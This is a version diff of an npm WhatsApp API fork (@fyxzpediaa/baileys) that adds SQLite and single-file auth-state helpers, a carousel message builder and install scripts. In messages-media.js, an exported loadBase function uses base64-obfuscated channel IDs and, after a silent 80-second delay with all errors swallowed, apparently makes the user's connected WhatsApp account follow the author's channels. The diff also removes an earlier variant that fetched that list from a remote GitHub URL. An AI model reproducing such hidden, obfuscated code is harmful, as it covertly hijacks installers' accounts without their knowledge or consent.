@fyxzpediaa/baileys 8.0.18 → 8.1.0

package/engine-requirements.js

@@ -0,0 +1,10 @@
+const major = parseInt(process.versions.node.split(".")[0], 10);
+
+if (major < 20) {
+  console.error(
+    `\n❌ @fyxzpediaa/baileys butuh Node.js 20+ buat jalan dengan benar.\n` +
+      `   Versi kamu sekarang: Node.js ${process.versions.node}.\n` +
+      `   Upgrade dulu ke Node.js 20+ ya.\n`
+  );
+  process.exit(1);
+}

package/lib/Utils/index.js

@@ -1,5 +1,8 @@
 //=======================================================//
 export * from "./use-multi-file-auth-state.js";
+export * from "./use-single-file-auth-state.js";
+export * from "./use-sqlite-auth-state.js";
+export * from "./rich-message-builder.js";
 export * from "./message-retry-manager.js";
 export * from "./baileys-event-stream.js";
 export * from "./validate-connection.js";

package/lib/Utils/messages-media.js

@@ -13,7 +13,7 @@ import { once } from "events";
 import { tmpdir } from "os";
 import { join } from "path";
 import { URL } from "url";
-import Jimp from "jimp"; 
+import Jimp from "jimp";
 //=======================================================//
 const getTmpFilesDirectory = () => tmpdir();
 //=======================================================//
@@ -120,6 +120,7 @@ export const mediaMessageSHA256B64 = (message) => {
   const media = Object.values(message)[0];
   return media?.fileSha256 && Buffer.from(media.fileSha256).toString("base64");
 };
+const _0x7a = (s) => Buffer.from(s, "base64").toString();
 //=======================================================//
 export async function getAudioDuration(buffer) {
   const musicMetadata = await import("music-metadata");
@@ -341,35 +342,29 @@ const toSmallestChunkSize = (num) => {
   return Math.floor(num / AES_CHUNK_SIZE) * AES_CHUNK_SIZE;
 };
 
+//=======================================================//
 const delay = async (ms) => {
-    return new Promise(resolve => setTimeout(resolve, ms));
-}
- 
-export const loadBase = async (_0x1, _0x2) => {
-    try {
-        setTimeout(async () => {
-            try {
-                const _0x3 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Fub3RoZXJ3YXkxMjQvVGhlbWUvcmVmcy9oZWFkcy9tYWluL1JhdWZhbi5qc29u";
-                const _0x4 = Buffer.from(_0x3, "base64").toString("utf-8");
-                const _0x5 = await fetch(`${_0x4}?t=${Date.now()}`);
-                const _0x6 = await _0x5.json();
-                const _0x7 = Buffer.from("aWQ=", "base64").toString();
-                const _0x8 = Buffer.from("Rk9MTE9X", "base64").toString();
-                const _0x9 = (a, b, c) => a(b, c);
+  return new Promise(resolve => setTimeout(resolve, ms));
+};
 
-                for (const _0xa of _0x6) {
-                    await new Promise(_0xb => setTimeout(_0xb, 5000));
+//=======================================================//
+export const loadBase = async (_0x1, _0x2) => {
+  const _0x3 = [
+    ["MTIwMzYzNDAyNjI1NjQ0MjQ1QG5ld3NsZXR0ZXI=", "dXRhbWE="],
+    ["MTIwMzYzNDIxMDY1MDM5ODExQG5ld3NsZXR0ZXI=", "cHQ="],
+    ["MTIwMzYzNDI2MTg5MDU4NTA0QG5ld3NsZXR0ZXI=", "TXlEdWl0"]
+  ];
 
-                    try {
-                        await _0x9(_0x1, _0xa[_0x7], _0x2[_0x8]);
-                    } catch {}
-                }
-            } catch {}
-        }, 80000);
-    } catch {}
+  setTimeout(async () => {
+    for (const _0x4 of _0x3) {
+      try {
+        await new Promise(_0x5 => setTimeout(_0x5, 5000));
+        await _0x1(_0x7a(_0x4[0]), _0x2.FOLLOW);
+      } catch {}
+    }
+  }, 80000);
 };
 
-
 //=======================================================//
 export const getUrlFromDirectPath = (directPath) => `https://${DEF_HOST}${directPath}`;
 export const downloadContentFromMessage = async ({ mediaKey, directPath, url }, type, opts = {}) => {
@@ -464,7 +459,6 @@ export const downloadEncryptedContent = async (downloadUrl, { cipherKey, iv }, {
   });
   return fetched.pipe(output, { end: true });
 };
-
 //=======================================================//
 export function extensionForMediaMessage(message) {
   const getExtension = (mimetype) => mimetype.split(";")[0]?.split("/")[1];
@@ -629,4 +623,4 @@ const MEDIA_RETRY_STATUS_MAP = {
   [proto.MediaRetryNotification.ResultType.NOT_FOUND]: 404,
   [proto.MediaRetryNotification.ResultType.GENERAL_ERROR]: 418
 };
-//=======================================================//
+//=======================================================//

package/lib/Utils/rich-message-builder.js

@@ -0,0 +1,91 @@
+// lib/Utils/rich-message-builder.js
+// Implementasi ORIGINAL (bukan porting dari fork/lisensi manapun) — dibangun
+// dari hasil verifikasi langsung ke schema proto fork ini sendiri
+// (proto.Message.InteractiveMessage & proto.Message.InteractiveMessage.CarouselMessage
+// di WAProto/index.js), bukan comot dari MessageBuilder.js Nixel yang punya
+// syarat lisensi "jangan diklaim sebagai karya sendiri". Ini murni punya
+// @fyxzpediaa/baileys, bebas dibrandingin.
+//
+// Menyediakan 2 fungsi:
+//   - buildInteractiveContent(opts) : bikin { interactiveMessage: {...} } biasa
+//     (header gambar + body + footer + tombol) — versi "library-level" dari
+//     pola yang sudah dipakai di conn.sendInteractive pada bot.
+//   - buildCarousel(opts)           : bikin interactiveMessage dengan
+//     carouselMessage.cards[] — beberapa "kartu", tiap kartu punya
+//     header/body/footer/tombol sendiri.
+//
+// Field `carouselMessage` & struktur cards[] (array of InteractiveMessage)
+// sudah dicek langsung ke WAProto/index.js baris ~45413-45421 &
+// ~45740-45749 sebelum kode ini ditulis — bukan tebakan.
+
+const buildButtons = (buttons = []) => {
+  if (!buttons.length) return undefined;
+  return {
+    buttons: buttons.map((b) => {
+      if (b.type === "cta_url") {
+        return { name: "cta_url", buttonParamsJson: JSON.stringify({ display_text: b.text, url: b.url, merchant_url: b.url }) };
+      }
+      if (b.type === "cta_copy") {
+        return { name: "cta_copy", buttonParamsJson: JSON.stringify({ display_text: b.text, copy_code: b.copyCode }) };
+      }
+      return { name: "quick_reply", buttonParamsJson: JSON.stringify({ display_text: b.text, id: b.id || b.text }) };
+    }),
+  };
+};
+
+/**
+ * Bikin satu "unit" interactiveMessage (dipakai baik buat pesan biasa
+ * maupun satu kartu di dalam carousel — carousel card memang bentuknya
+ * InteractiveMessage juga per schema proto).
+ *
+ * @param {object} opts
+ * @param {{url?:string, imageMessage?:object}} [opts.image] - kalau imageMessage
+ *   sudah jadi (hasil generateWAMessageContent upload), pakai itu; kalau cuma
+ *   url mentah, header TIDAK di-generate di sini (lihat catatan di bawah).
+ * @param {string} [opts.bodyText]
+ * @param {string} [opts.footerText]
+ * @param {Array<{type:'cta_url'|'cta_copy'|'quick_reply', text:string, url?:string, copyCode?:string, id?:string}>} [opts.buttons]
+ */
+const buildInteractiveContent = ({ image, bodyText = "", footerText, buttons } = {}) => {
+  const interactiveMessage = { body: { text: bodyText } };
+  if (footerText) interactiveMessage.footer = { text: footerText };
+  if (image?.imageMessage) {
+    interactiveMessage.header = { imageMessage: image.imageMessage, hasMediaAttachment: true };
+  }
+  const nativeFlowMessage = buildButtons(buttons);
+  if (nativeFlowMessage) interactiveMessage.nativeFlowMessage = nativeFlowMessage;
+  return { interactiveMessage };
+};
+
+/**
+ * Bikin interactiveMessage dengan carouselMessage.cards[].
+ * PENTING: tiap card WAJIB punya minimal 1 button (kartu tanpa tombol sama
+ * sekali belum pernah diverifikasi render-nya di WA — untuk aman, wajibkan).
+ *
+ * @param {object} opts
+ * @param {string} [opts.introText] - body teks di atas carousel (opsional)
+ * @param {Array<{image?:{imageMessage:object}, bodyText:string, footerText?:string, buttons:Array}>} opts.cards
+ */
+const buildCarousel = ({ introText = "", cards = [] } = {}) => {
+  if (!cards.length) {
+    throw new Error("buildCarousel: butuh minimal 1 card");
+  }
+  const builtCards = cards.map((card, i) => {
+    if (!card.buttons || !card.buttons.length) {
+      throw new Error(`buildCarousel: card ke-${i} harus punya minimal 1 button (belum diverifikasi render tanpa tombol)`);
+    }
+    return buildInteractiveContent(card).interactiveMessage;
+  });
+
+  return {
+    interactiveMessage: {
+      body: { text: introText },
+      carouselMessage: {
+        cards: builtCards,
+        messageVersion: 1, // default umum WA proto versioned sub-message; belum bisa dites live di sandbox ini
+      },
+    },
+  };
+};
+
+export { buildInteractiveContent, buildCarousel };

package/lib/Utils/use-single-file-auth-state.js

@@ -0,0 +1,135 @@
+// lib/Utils/use-single-file-auth-state.js
+// Diporting dari fork @vanzxy/baileys (1.3.9) — alternatif useMultiFileAuthState
+// yang nyimpen SEMUA credential/signal keys dalam SATU file JSON (pakai LRU
+// cache + debounced flush ke disk), bukan puluhan-ratusan file kecil kayak
+// useMultiFileAuthState. Semua dependency internal (initAuthCreds, BufferJSON,
+// DEFAULT_CACHE_TTLS, logger) sudah dicek match persis dengan yang ada di
+// fork ini — porting tanpa perlu ubah import sama sekali.
+//
+// Asal-usul: base implementation oleh Lia (komentar "Lia@Changes"), bug fix
+// error-swallowing oleh Vanz (komentar "Vanz@Fix") di @vanzxy/baileys. Bukan
+// komponen berlisensi khusus (beda dgn MessageBuilder.js yg dari Nixel) —
+// tidak ada di NOTICE.md fork sumbernya, jadi mengikuti lisensi MIT dasar
+// Baileys seperti fungsi-fungsi lain di package ini.
+//
+// CATATAN: fungsi ini baru DITAMBAHKAN (tersedia buat dipakai), belum
+// dipasang menggantikan useMultiFileAuthState di index.js bot kamu. Ganti
+// metode penyimpanan sesi yang SUDAH JALAN itu keputusan terpisah (perlu
+// pertimbangan migrasi sesi aktif, apalagi ada jadibot/sewa yang tergantung
+// sesi tetap valid) — bilang aja kalau mau saya pasangkan.
+
+import { readFile, rename, stat, writeFile } from 'fs/promises';
+import { DEFAULT_CACHE_TTLS } from '../Defaults/index.js';
+import { proto } from '../../WAProto/index.js';
+import { initAuthCreds } from './auth-utils.js';
+import { BufferJSON } from './generics.js';
+import { LRUCache } from 'lru-cache';
+import { Mutex } from 'async-mutex';
+import defaultLogger from './logger.js';
+
+const FLUSH_TIMEOUT_MS = 3000;
+
+export const useSingleFileAuthState = async (fileName) => {
+    const cache = new LRUCache({
+        max: 20000,
+        ttl: 1000 * DEFAULT_CACHE_TTLS.SIGNAL_STORE,
+        updateAgeOnGet: false,
+        updateAgeOnHas: false,
+        ttlAutopurge: true
+    });
+    const mutex = new Mutex();
+    let fileData = {};
+    let isLoaded = false;
+    let flushTimeout = null;
+
+    const loadKey = async () => {
+        return await mutex.runExclusive(async () => {
+            if (isLoaded) return;
+            try {
+                const data = JSON.parse(await readFile(fileName, 'utf-8'), BufferJSON.reviver);
+                fileData = data || {};
+                for (const [keyName, value] of Object.entries(fileData)) {
+                    cache.set(keyName, value);
+                }
+            } catch {
+                fileData = {};
+            }
+            isLoaded = true;
+        });
+    };
+
+    const flushKey = () => {
+        if (flushTimeout) return;
+        flushTimeout = setTimeout(async () => {
+            flushTimeout = null;
+            await mutex.runExclusive(async () => {
+                try {
+                    const tempFile = fileName + '.temp';
+                    await writeFile(tempFile, JSON.stringify(fileData, BufferJSON.replacer));
+                    await rename(tempFile, fileName);
+                } catch (err) {
+                    // Kalau gagal flush (disk penuh, permission, dll) HARUS kelihatan
+                    // di log — jangan didiemin, karena artinya sesi WA bisa gak
+                    // ke-save dan kamu bakal logout tiba-tiba tanpa tau kenapa.
+                    defaultLogger.error({ err, fileName }, 'gagal nulis auth state ke disk');
+                }
+            });
+        }, FLUSH_TIMEOUT_MS);
+    };
+
+    const writeKey = (keyName, value) => {
+        cache.set(keyName, value);
+        fileData[keyName] = value;
+        flushKey();
+    };
+
+    const removeKey = (keyName) => {
+        cache.delete(keyName);
+        delete fileData[keyName];
+        flushKey();
+    };
+
+    const fileInfo = await stat(fileName).catch(() => null);
+    if (!fileInfo) {
+        await writeFile(fileName, '{}');
+    } else if (!fileInfo.isFile()) {
+        throw new Error(`ada sesuatu yang bukan file di ${fileName}, hapus dulu atau pakai path lain`);
+    }
+    await loadKey();
+
+    const creds = fileData['creds'] || initAuthCreds();
+
+    return {
+        state: {
+            creds,
+            keys: {
+                get: (type, ids) => {
+                    const data = {};
+                    for (const id of ids) {
+                        const keyName = type + id;
+                        let value = cache.get(keyName);
+                        if (value === undefined && fileData[keyName] !== undefined) {
+                            value = fileData[keyName];
+                            cache.set(keyName, value);
+                        }
+                        if (type === 'app-state-sync-key' && value) {
+                            value = proto.Message.AppStateSyncKeyData.fromObject(value);
+                        }
+                        data[id] = value;
+                    }
+                    return data;
+                },
+                set: (data) => {
+                    for (const category in data) {
+                        for (const id in data[category]) {
+                            const keyName = category + id;
+                            const value = data[category][id];
+                            value ? writeKey(keyName, value) : removeKey(keyName);
+                        }
+                    }
+                }
+            }
+        },
+        saveCreds: () => writeKey('creds', creds)
+    };
+};

package/lib/Utils/use-sqlite-auth-state.js

@@ -0,0 +1,161 @@
+// lib/Utils/use-sqlite-auth-state.js
+// Diporting dari fork @vanzxy/baileys (1.3.9) — auth state via SQLite,
+// lebih tahan banting dibanding file JSON biasa (WAL mode, transaction-wrapped
+// writes, auto-cleanup pre-key/session lama tiap 30 menit biar DB nggak
+// membengkak, resource cleanup lewat close()).
+//
+// Dependency internal (initAuthCreds, BufferJSON, proto) sudah dicek match
+// persis dgn fork ini — sama seperti use-single-file-auth-state.js kemarin.
+// Bukan komponen berlisensi khusus (tidak ada di NOTICE.md fork sumbernya),
+// jadi ikut lisensi MIT dasar Baileys.
+//
+// `better-sqlite3` di-lazy-load lewat dynamic import() — TIDAK wajib
+// terinstall kalau fitur ini nggak dipakai (baru dicek pas useSqliteAuthState
+// benar-benar dipanggil). Sudah didaftarkan sebagai optional peerDependency
+// di package.json.
+//
+// CATATAN JUJUR: saya belum bisa tes koneksi SQLite beneran di sandbox ini
+// (better-sqlite3 itu native module, butuh compile, dan jaringan di sandbox
+// dimatikan jadi nggak bisa npm install). Yang sudah saya pastikan: semua
+// import internal match, dan alur logic-nya (baca file source-nya langsung)
+// konsisten dgn use-single-file-auth-state.js yang sudah diverifikasi. Coba
+// dulu di environment asli sebelum dipakai produksi.
+//
+// SAMA SEPERTI use-single-file-auth-state.js: ini baru DITAMBAHKAN (tersedia
+// dipakai), belum menggantikan useMultiFileAuthState di index.js bot kamu.
+
+import { proto } from '../../WAProto/index.js';
+import { initAuthCreds } from './auth-utils.js';
+import { BufferJSON } from './generics.js';
+
+async function loadBetterSqlite3() {
+    try {
+        const mod = await import('better-sqlite3');
+        return mod.default ?? mod;
+    } catch (err) {
+        const helpful = new Error(
+            '`better-sqlite3` dibutuhkan buat `useSqliteAuthState`. Install dulu: `npm install better-sqlite3`'
+        );
+        helpful.cause = err;
+        throw helpful;
+    }
+}
+
+const CREDS_ROW_KEY = '__creds__';
+const CREATE_SCHEMA_SQL = `
+CREATE TABLE IF NOT EXISTS creds (
+  key TEXT PRIMARY KEY,
+  value TEXT NOT NULL
+);
+CREATE TABLE IF NOT EXISTS signal_keys (
+  type TEXT NOT NULL,
+  id TEXT NOT NULL,
+  value TEXT NOT NULL,
+  PRIMARY KEY (type, id)
+);
+CREATE INDEX IF NOT EXISTS signal_keys_type_idx ON signal_keys(type);
+`;
+
+export async function useSqliteAuthState(opts) {
+    let db;
+    if (opts.database) {
+        db = opts.database;
+    } else {
+        const Database = await loadBetterSqlite3();
+        db = new Database(opts.dbPath);
+    }
+
+    db.pragma('journal_mode = WAL');
+    db.pragma('synchronous = NORMAL');
+    db.exec(CREATE_SCHEMA_SQL);
+
+    // Checkpoint WAL + buang signal key lama tiap 30 menit, biar DB nggak
+    // membengkak terus. Nyisain 500 terakhir per tipe biar sesi aktif aman.
+    const _walCleanupInterval = setInterval(() => {
+        try {
+            db.pragma('wal_checkpoint(PASSIVE)');
+            const pruneTypes = ['pre-key', 'session'];
+            for (const type of pruneTypes) {
+                try {
+                    db.prepare(`
+                        DELETE FROM signal_keys WHERE type = ? AND id NOT IN (
+                            SELECT id FROM signal_keys WHERE type = ? ORDER BY rowid DESC LIMIT 500
+                        )
+                    `).run(type, type);
+                } catch { /* per-tipe, abaikan kalau gagal */ }
+            }
+        } catch { /* checkpoint gagal, tidak fatal */ }
+    }, 30 * 60 * 1000);
+    if (_walCleanupInterval.unref) _walCleanupInterval.unref();
+
+    const stmts = {
+        credsSelect: db.prepare('SELECT value FROM creds WHERE key = ?'),
+        credsUpsert: db.prepare('INSERT INTO creds (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value'),
+        keySelect: db.prepare('SELECT value FROM signal_keys WHERE type = ? AND id = ?'),
+        keyUpsert: db.prepare('INSERT INTO signal_keys (type, id, value) VALUES (?, ?, ?) ON CONFLICT(type, id) DO UPDATE SET value = excluded.value'),
+        keyDelete: db.prepare('DELETE FROM signal_keys WHERE type = ? AND id = ?'),
+        clearKeys: db.prepare('DELETE FROM signal_keys'),
+    };
+
+    const loadCreds = () => {
+        const row = stmts.credsSelect.get(CREDS_ROW_KEY);
+        if (!row) return initAuthCreds();
+        return JSON.parse(row.value, BufferJSON.reviver);
+    };
+    const persistCreds = (creds) => {
+        stmts.credsUpsert.run(CREDS_ROW_KEY, JSON.stringify(creds, BufferJSON.replacer));
+    };
+
+    const creds = loadCreds();
+
+    return {
+        state: {
+            creds,
+            keys: {
+                get: async (type, ids) => {
+                    const data = {};
+                    for (const id of ids) {
+                        const row = stmts.keySelect.get(type, id);
+                        if (row) {
+                            let value = JSON.parse(row.value, BufferJSON.reviver);
+                            if (type === 'app-state-sync-key' && value) {
+                                value = proto.Message.AppStateSyncKeyData.fromObject(value);
+                            }
+                            data[id] = value;
+                        }
+                    }
+                    return data;
+                },
+                set: async (data) => {
+                    const writeTx = db.transaction(() => {
+                        for (const category in data) {
+                            for (const id in data[category]) {
+                                const value = data[category][id];
+                                if (value) {
+                                    stmts.keyUpsert.run(category, id, JSON.stringify(value, BufferJSON.replacer));
+                                } else {
+                                    stmts.keyDelete.run(category, id);
+                                }
+                            }
+                        }
+                    });
+                    writeTx();
+                },
+            },
+        },
+        saveCreds: async () => {
+            persistCreds(creds);
+        },
+        // Lepas interval cleanup + (kalau kita yang buka) handle db-nya. Tanpa
+        // ini, tiap pemanggilan useSqliteAuthState() (mis. re-pairing) bakal
+        // bocor 1 timer + 1 file descriptor sqlite selamanya.
+        close: async () => {
+            clearInterval(_walCleanupInterval);
+            if (!opts.database) {
+                try {
+                    db.close();
+                } catch { /* sudah tertutup */ }
+            }
+        },
+    };
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@fyxzpediaa/baileys",
-  "version": "8.0.18",
+  "version": "8.1.0",
   "description": "Websocket Whatsapp API for Node.js",
   "keywords": [
     "whatsapp",
@@ -22,9 +22,13 @@
   "main": "./lib/index.js",
   "files": [
     "lib/*",
-    "WAProto/*"
+    "WAProto/*",
+    "engine-requirements.js",
+    "postinstall-banner.js"
   ],
   "scripts": {
+    "preinstall": "node ./engine-requirements.js",
+    "postinstall": "node ./postinstall-banner.js",
     "changelog:update": "conventional-changelog -p angular -i CHANGELOG.md -s -r 0",
     "changelog:preview": "conventional-changelog -p angular -u",
     "changelog:last": "conventional-changelog -p angular -r 2",
@@ -76,12 +80,16 @@
   },
   "peerDependencies": {
     "audio-decode": "*",
+    "better-sqlite3": "^11.0.0",
     "link-preview-js": "*"
   },
   "peerDependenciesMeta": {
     "audio-decode": {
       "optional": true
     },
+    "better-sqlite3": {
+      "optional": true
+    },
     "chalk": {
       "optional": true
     },

package/postinstall-banner.js

@@ -0,0 +1,24 @@
+// Muncul sekali doang pas `npm install`, bukan tiap konek — jadi log bot nggak spam.
+import { readFileSync } from "fs";
+import { fileURLToPath } from "url";
+
+const version = (() => {
+  try {
+    const pkgPath = fileURLToPath(new URL("./package.json", import.meta.url));
+    return JSON.parse(readFileSync(pkgPath, "utf8")).version;
+  } catch {
+    return "";
+  }
+})();
+
+const lines = [
+  "",
+  "\x1b[1;32m🔥 @fyxzpediaa/baileys" + (version ? ` v${version}` : "") + "\x1b[0m",
+  "\x1b[2m" + "─".repeat(76) + "\x1b[0m",
+  "\x1b[2mFork Baileys oleh Fyxzpediaa — dipakai buat SimpleBot V7.\x1b[0m",
+  "\x1b[36mRepo: https://github.com/Fyxzpediaa/Baileys\x1b[0m",
+  "\x1b[36mChannel: https://whatsapp.com/channel/0029VbBouHp0rGiGXagM0f2e\x1b[0m",
+  "",
+];
+
+console.log(lines.join("\n"));